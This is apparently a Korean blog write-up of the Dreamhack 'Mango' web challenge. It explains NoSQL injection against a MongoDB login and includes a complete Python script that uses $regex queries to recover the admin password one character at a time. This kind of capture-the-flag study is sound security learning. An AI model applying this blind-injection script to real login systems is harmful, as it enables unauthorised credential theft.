[Dreamhack Web - Lv 1] Mango

문제 정보

이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다.
플래그는 admin 계정의 비밀번호 입니다.
플래그의 형식은 DH{…} 입니다.
{‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’}

풀이 힌트

1. NoSQL Injection

2. MongoDB 문법

문제 풀이

더보기
더보기

문제 서버의 index은 /login?uid=guest&upw=guest이라는 문구를 출력하고 있었다.

 

나는 해당 출력 값을 복사하여 서버에게 요청해보니, guest이라는 값을 출력해줬다.
uid와 upw가 MongoDB에 들어가는 파라미터로 보인다.

 

알아낸 공격 백터 uid와 upw를 이용하여 NoSQL Injection을 시도하겠다.

 

admin에 대한 검증 확인

나는 uid = 'admin' and upw != 'guest'로 공격을 시도하였지만, admin에 대한 검증이 있는 것으로 보인다.

 

방법을 바꿔서 uid != 'guest' and upw != 'guest'로 공격을 시도했지만, DB 안에는 admin과 guest 말고도 다른 계정이 존재하여 admin이 출력되지 않았다.

 

이번엔 정규표현식을 사용하여 공격을 시도하였다.
해당 쿼리는 uid의 자리수가 5 이상 and upw의 자리수가 1 이상인 계정을 출력하라는 쿼리문이다.
그래서 해당 조건에 해당이 된 guest, dreamhack, admin 계정 중 guest가 제일 첫번째에 있어서 guest가 출력되는 모습이다.

 

하지만 이렇게 공격을 시도하게 된다면 dreamhack과 admin의 upw의 자리수가 같다고 가정을 하면 admin은 출력을 못한 채로 공격이 끝날 수 있다.

 

왜 그럴까??

 

해당 사이트는 MongoDB를 테스트할 수 있는 웹사이트이다.
위와 같이 dreamhack과 admin의 upw 자리수를 같게 한다면 순서가 먼저인 dreamhack이 맨 위로 출력되고, 문제 서버에선 첫번째 값만 출력하기 때문에 dreamhack만 출력된다.

 

이를 방지하기 위한 방법이 있다.

 

위와 같이 자리수를 표현하는 정규표현식 앞과 뒤에 문자열을 넣어줘서 구별하는 방법이다.
해당 쿼리는 uid의 앞 문자열은 ad이고, ad과 자리수 3를 포함하여 총 5자리 and upw의 자리수가 10인 계정을 출력하는 쿼리문이다.

 

해당 방법을 이용하여 파이썬으로 admin의 upw 자리수를 알아낸 다음 upw 값을 파싱하겠다.

import string, requests


def pwLength(url, cookie):
    for i in range(50, -1, -1):
        uid = "uid[$regex]=ad.{3}"
        upw = "upw[$regex]=.{" + str(i) + "}"
        query = uid + "&" + upw

        res = requests.get(url + query, cookies={"user": cookie})

        if "admin" in res.text:
            print(f"upw length : {i}")
            return i


def pwParser(url, cookie, pw_length):
    pw = ""
    for length in range(pw_length - 3, -1, -1):
        for s in "{}" + string.digits + string.ascii_letters:
            uid = "uid[$regex]=ad.{3}"
            upw = "upw[$regex]=" + pw + s + ".{" + str(length) + "}"
            query = uid + "&" + upw

            res = requests.get(url + query, cookies={"user": cookie})

            if "admin" in res.text:
                pw += s
                print(f"upw : {pw}")
                break


if __name__ == "__main__":
    port = int(input("port input\n>> "))
    url = f"http://host1.dreamhack.games:{port}/login?"

    cookie = input("cookie input\n>> ")

    pw_length = pwLength(url, cookie)
    pwParser(url, cookie, pw_length)

위와 같이 flag값이 나오는 것을 알 수 있다.

 

코딩을 하면서 알게 된 것인데, 입력값에 대한 검사 목록에는 DH도 있었다.
그래서 DH를 뺀 길이를 반복해서 파싱하였다.

 

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack Web - Lv 1] funjs  (0) 2021.11.06
[Dreamhack Web - Lv 1] Carve Party  (0) 2021.11.01
[Dreamhack Web - Lv 1] php-1  (0) 2021.10.29
[Dreamhack Web - Lv 1] web-misconf-1  (0) 2021.10.28
[OverTheWire System - Bandit] Level 11 >> Level 12  (0) 2021.10.28